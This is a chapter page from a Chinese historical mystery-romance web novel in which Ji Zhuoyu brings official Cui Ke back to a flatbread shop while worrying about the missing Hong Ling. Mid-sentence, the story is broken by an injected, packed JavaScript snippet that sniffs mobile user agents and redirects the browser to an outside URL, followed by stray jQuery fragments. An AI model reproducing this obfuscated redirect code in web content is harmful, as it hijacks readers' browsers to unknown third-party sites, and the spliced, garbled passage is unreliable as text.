9. 第九章(第2页)
“不瞒大人,长安城中的美食没有我不知晓的,哪家酒肆的葡萄酒最好喝,哪家铺子的汤浴绣丸最好吃,您只管问我。”
“大人晚上想吃点什么?”
她还没能卖弄“学识渊博”,崔恪答道:“胡饼。”
季琢玉眼珠一转,赶紧说:“大人既然已经尝过了秦姨做的胡饼,不如再去尝尝西市宋三娘做的胡饼,一点都不比秦姨做的差,或者去杏花楼也好,符合大人您的身份。”
她不想让崔恪再去见秦姨和花大叔了,他官家人的身份实在不讨好,而且折腾了一天,她实在不想招待他了,只想赶紧去找红绫的下落。
“我单就喜欢吃一家做的胡饼,旁的难以下咽。”
崔恪把话说到这个份上,她再拦着就是大不敬了,只能请他一同回胡饼铺子。
“秦姨~”
季琢玉蹦蹦跳跳进了店,迅速环视四周,红绫不在店中,只有秦姨在柜前忙活,手拨算盘核算账本。
“花大叔和红绫呢?”
“官府来人让你花叔过去,不晓得是什么事。”秦姨抬头看她一眼,漫不经心说:“至于红绫,你走后我们出去找了,没人瞧见她去哪儿了,说不定她是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776229|174734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去找她亲娘了。”
秦姨对红绫总是不喜,因她身上流着突厥人和青楼女子的血,按秦姨的说辞,红绫长大肯定会去找她亲爹亲娘,绝对不会安心在胡饼铺子里操持度日。
红绫离开是早晚的事,只是没想到这么突然。
“怎么会,红绫想走肯定会跟我说的,她并没有提起要寻亲的事情。”
季琢玉回头看一眼坐在店中的崔恪,压低声音继续跟秦姨说话:“您赶紧做几个胡饼,把那人打发走吧。”
“那位崔公子不是你的朋友吗,干嘛着急把人撵走?”秦姨看出她在崔恪面前十分拘束,故意拿话逗她。
“秦姨~我的好秦姨,我累了一天了,实在没力气再跟人斗智斗勇了,还请秦姨行行好,帮我把这尊大佛送走。”
季琢玉才没那么傻呢,崔恪是官宦子嗣,家产数不胜数,什么好东西没吃过,怎么会想吃一天的羊肉胡饼。
他非要跟她回来,目的怎会单纯。
“拿去吧。”秦姨从柜下取出热腾腾的胡饼,装到盘子里,递给她。
季琢玉笑着接过胡饼,送到崔恪面前,态度恭敬:“您慢用。”
她弯下腰起身,翻毛领口敞开,白皙纤细的脖颈一侧隐约一道血痕,血迹已经干涸在布料上。
感觉到疼痛,她用手摸了摸,“嘶”一声皱起眉头。
应该是那群突厥人伤的她,那么锋利的弯刀架在她的脖子上,没取她性命也划伤了她的脖子。
崔恪目光状似无物瞥过她的脖子,随意搭在桌边的手指微微蜷起,眼神中徒增一抹不着痕迹的冷意。
季琢玉不以为然,只是翻了翻领口把伤口遮住,秦姨瞧见会担心的。
片刻,盘子里的羊肉胡饼尽数吃完,崔恪起身离开。
季琢玉笑脸送他出门,眯着眼睛,虚情假意地说:“您以后常来。”
崔恪走到店铺外,顿足一会儿,迟迟没有离开,好像是在等什么人。
季琢玉收拾桌子,抬头瞥他几眼,擦桌子的动作不停,没有要出去询问的意思。
估计是在等崔十八吧。
不一会儿,果然瞧见崔十八赶到此地,只是换了身衣裳,不是刚才在使馆中穿着的圆领缺骻袍,而是藏青色交领紧身衣,腰间挂着一块大理寺的腰牌。
崔十八恭敬地跟自家大人禀报已将犯案的西突厥人押入诏狱,鸿胪寺的大人来过了,听闻崔大人不在,便离开了。
他禀明情况,等着崔大人的下一步安排。
崔恪若有所思,片刻说:“她今日在使馆里舍命救我。”
崔十八一愣,说道:“属下派人查过了,季公子虽不务正业,游手好闲,却没少在坊间行侠仗义,他今日会舍命救大人,并不为奇。”
崔恪脸色一黑,冷声:“不一样。”
崔十八一拍脑袋,忽然想通了,笃定说:“属下明白了,听闻此人见钱眼开,一定是为了查案的那十文钱补贴才如此做的。”
崔十八觉得自个可聪明了,一想就想到了季公子救大人的目的,崔大人如果出什么事,查不了案,季公子一文钱都拿不到。
崔恪阖了阖眼,嘴角绷成一条线,面色不悦,撂下一句话:“在你看来,本官的性命就值十文钱?”